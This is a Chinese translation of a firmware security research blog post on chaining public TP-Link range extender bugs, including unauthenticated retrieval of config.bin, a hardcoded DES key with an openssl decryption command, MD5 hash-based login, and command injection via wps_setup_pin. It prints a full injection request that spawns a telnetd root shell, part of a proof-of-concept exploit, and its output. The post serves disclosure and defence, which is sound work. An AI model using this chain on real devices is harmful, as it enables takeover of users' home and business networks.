使用Centrifuge平台檢測韌體漏洞

2019 年 10 月 8 日
筆記

最近，針對TP-Link WL-WA850RE WiFi Range Extender 發布的漏洞引起了我們的注意，並對其進行了進一步調查。對於許多低成本的消費者嵌入式系統來說這是一個典型且有效的命令注入錯誤。它允許遠程攻擊者完全訪問設備，但是需要管理憑據才能運行易受攻擊的程式碼。如果使用Centrifuge平台，則會出現更嚴重的錯誤，它允許遠程攻擊者完全控制設備，即使在事先不知道管理憑據的情況下。

特別令人擔憂的是，此漏洞不僅限於具有LAN或WLAN訪問許可權的攻擊者，還會影響多個TP-Link產品，包括許多連接到Internet並因此容易受到遠程攻擊的設備！稍後會詳細介紹。

命令注入BUG

首先，讓我們檢查一下原始命令注入錯誤。根據發布的漏洞利用程式碼，命令注入存在於wpssetuppin傳遞給/data/wps.setup.json設備Web伺服器中頁面的輸入參數中：

POST /data/wps.setup.json HTTP/1.1Origin: http://192.168.0.254Content-Length: 100Accept-Language: en-US,en;q=0.9Accept-Encoding: gzip, deflateConnection: closeAccept: application/json, text/javascript, /; q=0.01User-Agent: Mozilla/5.0Host: 192.168.0.254X-Requested-With: XMLHttpRequestReferer: http://192.168.0.254/Cookie: COOKIE=456787465784Content-Type: application/x-www-form-urlencoded; charset=UTF–8  operation=write&option=connect&wps_setup_pin=12345670;telnetd -l /bin/sh

這是一個足夠簡單的漏洞，但我們確實需要一個有效的，經過身份驗證的cookie令牌才能使其工作，所以讓我們來看看負責處理這個POST請求的程式碼。

我們使用韌體映像的這些日子做的第一件事就是把它扔進了Centrifuge平台執行自動韌體提取和漏洞分析。果然，它將httpd守護進程排名為系統中風險最高的可執行文件（這裡還列出了一些其他有趣的高風險服務）：

檢查Centrifuge中httpd二進位文件的詳細漏洞分析結果，其中有很多調用strcpy的堆棧地址作為目標…這只是結果的第一頁：

一旦我們在韌體中識別出可疑的二進位文件，我們就可以直接從Centrifuge中下載文件並將其放入我們選擇的反彙編程式中。在本文中，我們使用IDA Pro（最近也出現了幾種較便宜的替代品）。當我們將httpd二進位文件載入到IDA中，我們很快意識到Centrifuge平台報告中列出的第一個strcpy問題之一會直接導致產生最初發布的漏洞。此漏洞是sub_429610函數內的WPS命令注入錯誤：

查看此函數中的程式碼，它以儘可能最不安全的方式處理用戶提供的數據。該wpssetuppin值可用於在此處利用基於堆棧的緩衝區溢出和命令注入錯誤，但命令注入錯誤更容易利用，並且該值在不同的韌體版本和不同的受影響設備上更具可移植性，因此攻擊者以命令注入為目標而不是緩衝區溢出是有意義的。

但是，在我們可以使用這個易受攻擊的程式碼之前，通過調用wmAuthIsClientAuthencated函數進行身份驗證檢查。

正如已發表的漏洞中所述，如果此身份驗證檢查失敗，則攻擊者永遠不會訪問易受攻擊的程式碼。

找到未經訓練的攻擊向量

顯而易見的第一個問題是：我們可以向不需要身份驗證的Web伺服器發出任何HTTP請求嗎？要回答這個問題，我們首先要弄清楚可以從Web伺服器請求哪些網頁，以及哪些程式碼負責處理特定頁面的請求。

對於這個特定的Web伺服器，它通過以下httpRpmConfAddAndRegisterFile函數註冊一個帶有相關URL的函數處理程式：

在這裡我們可以看到URL作為第二個參數傳遞給httpRpmConfAddAndRegisterFile，並且負責處理該URL的所有請求的函數作為第三個參數傳遞。

使用Centrifuge平台的內部靜態分析引擎，我們能夠解析所有這些函數調用及其參數，並允許我們將每個URL解析為其關聯的函數處理程式，並獲取不調用wmAuthIsClientAuthencated認證函數的函數處理程式列表：

sub_40B990  =>  /fs/pages/userrpm/timeSettings_dst.htmlsub_40E0C8  =>  /fs/pages/userrpm/connect.htmlsub_40E144  =>  /fs/pages/userrpm/extend-settings.htmlsub_40E04C  =>  /fs/pages/userrpm/accessControl_adv.htmlsub_40DF54  =>  /fs/pages/userrpm/region.htmlsub_40DFD0  =>  /fs/pages/userrpm/wirelessSettings.htmlsub_416DC0  =>  /fs/pages/userrpm/wifiCoverage.htmlsub_418040  =>  /fs/pages/userrpm/dhcp.htmlsub_419C90  =>  /fs/pages/userrpm/led.htmlsub_41B484  =>  /fs/pages/frame/quick-setup.htmlsub_41D41C  =>  /fs/pages/userrpm/basic.htmlsub_41D3A0  =>  /fs/pages/userrpm/basic_network.htmlsub_41D324  =>  /fs/pages/userrpm/network.htmlsub_420B68  =>  /fs/pages/userrpm/lan.htmlsub_421CC0  =>  /fs/pages/userrpm/password.htmlsub_422D20  =>  /fs/pages/userrpm/firmwareUpgrade.htmlsub_424630  =>  /fs/pages/userrpm/backupRestore.htmlsub_424D40  =>  /fs/data/config.binsub_424B58  =>  /fs/data/restore.jsonsub_426030  =>  /fs/data/login.jsonsub_426FCC  =>  /fs/data/lang.jsonsub_427520  =>  /fs/pages/userrpm/systemLog.htmlsub_428070  =>  /fs/pages/userrpm/wps.htmlsub_429AB0  =>  /fs/pages/userrpm/powerSchedule.html

大多數這些未經身份驗證的URL只是提供靜態HTML頁面，但有一個值得注意的例外/fs/data/config.bin。這聽起來像一個備份配置文件，它應該包含管理密碼！如果我們從目標設備請求此文件會發生什麼呢？

$ wget http://192.168.0.254/fs/data/config.bin–2018–07–15 14:22:50– http://192.168.0.254/fs/data/config.binConnecting to 192.168.0.254:80… connected.HTTP request sent, awaiting response… 200 OKLength: unspecified [x-bin/octet-stream]Saving to: 『config.bin』2018–07–15 14:22:50 (127 MB/s) - 『config.bin』 saved [1120]

好吧，似乎設備只是將此文件給你，而無需登錄（提示facepalm）。整個備份配置文件可能是可以通過Web伺服器請求的最敏感的一條資訊。

但是，該config.bin文件似乎以某種方式加密或混淆，沒有可讀的字元串（除了一些文件頭數據）或其中的常見壓縮格式，並且數據似乎具有相對高的熵。

事實上，在今年早些時候發布的單獨漏洞報告中已經發現了無需身份驗證即可檢索config.bin文件的功能。該漏洞報告指出，雖然可以檢索配置文件，但它是加密的，並且不提供解密它的建議或解決方案。

解密配置文件

嵌入式系統通常不會因使用強加密而聞名，所以讓我們看看我們是否可以破解這個問題。 httpd二進位文件中沒有任何內容可以找到，它似乎與加密有關，但是搜索韌體的文件系統顯示另一個二進位文件也引用了config.bin文件：/usr/bin/uclited。

在uclited二進位文件中有一個名為usrconfloadfactorysetting的函數，它調用函數dodes_min，然後立即調用uncompress：

這表明我們擁有的config.bin文件首先被壓縮，然後進行DES加密。檢查傳遞給desmindo函數的參數，第五個參數（推入堆棧）是記憶體地址0x0045D820：

這個478DA50BF9E3D2CF值是一個硬編碼加密密鑰嗎？快速Google搜索顯示TP-Link多年來一直使用此密鑰來加密配置文件。其中一個OpenWRT開發人員對它進行了相當不錯的報道，甚至提供了使用此密鑰解密配置文件所需的確切openssl命令：

$ openssl enc -d -des-ecb -nopad -K 478DA50BF9E3D2CF -in config.bin > decrypted.bin

Binwalk'ing生成的解密文件顯示壓縮數據blob，解壓縮時包含ASCII配置文件：

$ binwalk -e decrypted.bin  DECIMAL       HEXADECIMAL     DESCRIPTION--------------------------------------------------------------------------------144           0x90            Zlib compressed data, default compression  $ file _decrypted.bin.extracted/90_decrypted.bin.extracted/90: ASCII text, with very long lines, with no line terminators

硬編碼加密密鑰是嵌入式系統「安全」領域中反覆出現的主題。請注意所有產品供應商：如果您打算加密數據，特別是敏感的客戶數據，請不要在多個產品和韌體版本中使用相同的硬編碼加密密鑰。使用硬編碼加密密鑰是通過隱蔽式安全性的典型示例。我們需要做的是集中精力開發安全程式碼，而不是通過硬編碼密鑰引誘用戶進入虛假的安全感。

更詳細地檢查解密的解壓縮配置數據表明它以JSON格式存儲，並且當WiFi配置設置（包括WiFi密碼）以純文本格式存儲時，管理密碼存儲為MD5哈希：

   "ACCOUNT" : {      "Pwd" : "1048552CDE8EBBBE4CAEF9D3B95AB41B",      "UserName" : "admin"   },

我們當然可以通過密碼破解程式運行此哈希，但這是不必要的。

用MD5哈希認證

檢查設備登錄頁面的HTML顯示他們首先使用MD5哈希提供的密碼，然後通過Javascript將身份驗證請求發送到設備：

    var doLogin = function(){       ///////////////  get cookies        checkCookie();        var submitStr = getCookie() || $.su.locale.cookie;       /* if(submitStr == null)        {            alert('open your cookies!');            return false;        }*/        var password = $.su.md5( $.su.md5($("input#login-password").password('getValue') ).toUpperCase() + ':' + submitStr  ).toUpperCase();        var strEncoded = passwordOnly?password:($("input#login-username").textbox('getValue') + ':' + password);        $('input#login-username').textbox('setNormal');        $('input#login-password').password('setNormal');        if( $('input#login-username').textbox('validate') && $('input#login-password').password('validate') && $('input#login-password-comfirm').password('validate') ){            var postData = {                "operation": "login",                "encoded": strEncoded,                "nonce": submitStr            }

純文本密碼首先是MD5哈希值。然後將此哈希與nonce連接（瀏覽器的cookie用作nonce），整個字元串再次進行MD5哈希處理。這意味著我們不需要知道實際的密碼，只需MD5哈希即可。事實上，原始的命令注入漏洞利用相同的散列序列來進行開發之前的身份驗證，所以如果您已經檢查過該程式碼，那麼這應該不足為奇。

這實際上是我們在許多嵌入式設備中看到的東西;他們會在通過網路發送密碼之前對密碼進行哈希處理，可能是為了保護明文憑證不會通過網路傳輸，但是任何捕獲登錄請求的人都可以簡單地重放登錄請求。我們建議對所有傳輸憑據的流量以及使用業界驗證過的第三方身份驗證框架要求SSL。如果你推出自己的加密實現，你一定很難做到這一點。

識別其他受影響的設備

由於供應商程式碼重用，像這樣的錯誤很少被隔離到單個產品（甚至是單個OEM！）。我們想了解其他TP-Link產品可能會受到什麼影響，因此我們轉向Centrifuge平台的衛報功能，該功能將掃描當前和過去的韌體，以了解已發布的已知漏洞。

這表明至少以下TP-Link產品受到影響:

> RE305 v1.0 > RE450 v1.0 > TL-WA830RE v3.0 > TL-WA850RE v2.0 > TL-WA850RE v4.0 > TL-WA850RE v5.0 > TL-WA855RE v1.0 > TL-WA855RE v2.0

找到脆弱的設備

我最初的假設是因為這些設備是WiFi範圍擴展器，它們通常會坐在NAT/防火牆後面，並且它們之中很少可以直接連接到互聯網。但是，Shodan證明我錯了：

Shodan結果中存在一些誤報，但標題中所有開頭……的結果似乎都很脆弱。這些WiFi範圍擴展器可能打算安裝在路由器/防火牆後面，我懷疑其中很多都可被網際網路訪問的原因是用戶錯誤。用戶可能只是將WAN電纜從其ISP直接連接到範圍擴展器的乙太網埠。

也許這就是為什麼TP-Link沒有非常重視這個產品的安全性，因為他們期望它連接到可信任的區域網，而不是互聯網。但是，正如我們發現的那樣，用戶並不總是可預測威脅或有安全意識。由於TP-Link缺乏對設備安全性的關注，他們無意中暴露了許多客戶的家庭和企業，以至於這雙鞋資訊被利用。

開發腳本

為了證明這個問題的嚴重性並向實際可利用的供應商證明，我們開發了一個用Python編寫的概念驗證漏洞。此腳本抓取配置文件，對其進行解密和解壓縮，對目標設備進行身份驗證，並利用命令注入錯誤在埠8080上啟動telnet伺服器。它已針對RE450 v1.0，TL-WA850RE v5.0，TL-WA855RE v1.0和TL-WA855RE v2.0產品進行了測試：

#!/usr/bin/env pythonimport osimport md5import zlibimport jsonimport socketimport urllib2import subprocess    class Exploit(object):    '''    Exploit for the TL-WA850RE. Unauthenticated users can retrieve the device    configuration data, authenticate, and execute arbitrary commands as root.      Prior art:        o https://www.exploit-db.com/exploits/44550/        o https://www.exploit-db.com/exploits/44912/        o http://teknoraver.net/software/hacks/tplink/

並且…它的作用就像一個魅力：

$ python ./exploit.py 192.168.0.254[+] Requesting browser cookie…[+] Retrieved cookie: 『COOKIE=6500a8c000184c02; PATH=/; MAXAGE=9999; VERSION=1』[+] Attempting to retrieve device configuration data…[+] Got encrypted config file for model: TL-WA850RE v5.0[+] Decrypting config file…[+] Decompressing configuration data…[+] Admin username: 『admin』[+] Admin password (MD5): 『1048552CDE8EBBBE4CAEF9D3B95AB41B』[+] Attempting login with password only…[+] Attempting to execute 「telnetd -l /bin/sh -p 8080」…[+] Exploit successful!  $ telnet 192.168.0.254 8080Trying 192.168.0.254...Connected to 192.168.0.254.Escape character is '^]'.  / # reboot/ # Connection closed by foreign host.

結論

應該注意的是，絕對不需要逆向工程來找到本文中討論的錯誤。所有這些錯誤都已經是公眾所知，儘管據我們所知，沒有人將所有碎片捆綁在一起（至少不是公開的），TP-Link也沒有嘗試過修復它們。

此外，研究人員或供應商似乎很少（如果有的話）開展工作來調查其他設備受這些錯誤的影響。這是非常常見的，攻擊者不知道哪些產品可能共享一個共同的程式碼庫，供應商要麼不關心，要麼沒有時間，資源或專業知識來檢查所有可能受影響的產品。可能這是由於手動進行這種努力的耗時性質，因此這是使用諸如Centrifuge平台的自動化系統的優點。

最重要的是：如果您擁有其中一個設備，特別是如果它可以從互聯網遠程訪問，假設您已被入侵，你應該選擇要麼將設備放在NAT/防火牆後面，要麼用更有信譽的供應商替換設備。

原文鏈接： https://www.refirmlabs.com/blog/exploiting-command-injection-bugs-tp-link-wl-wa850re-wifi-range-extender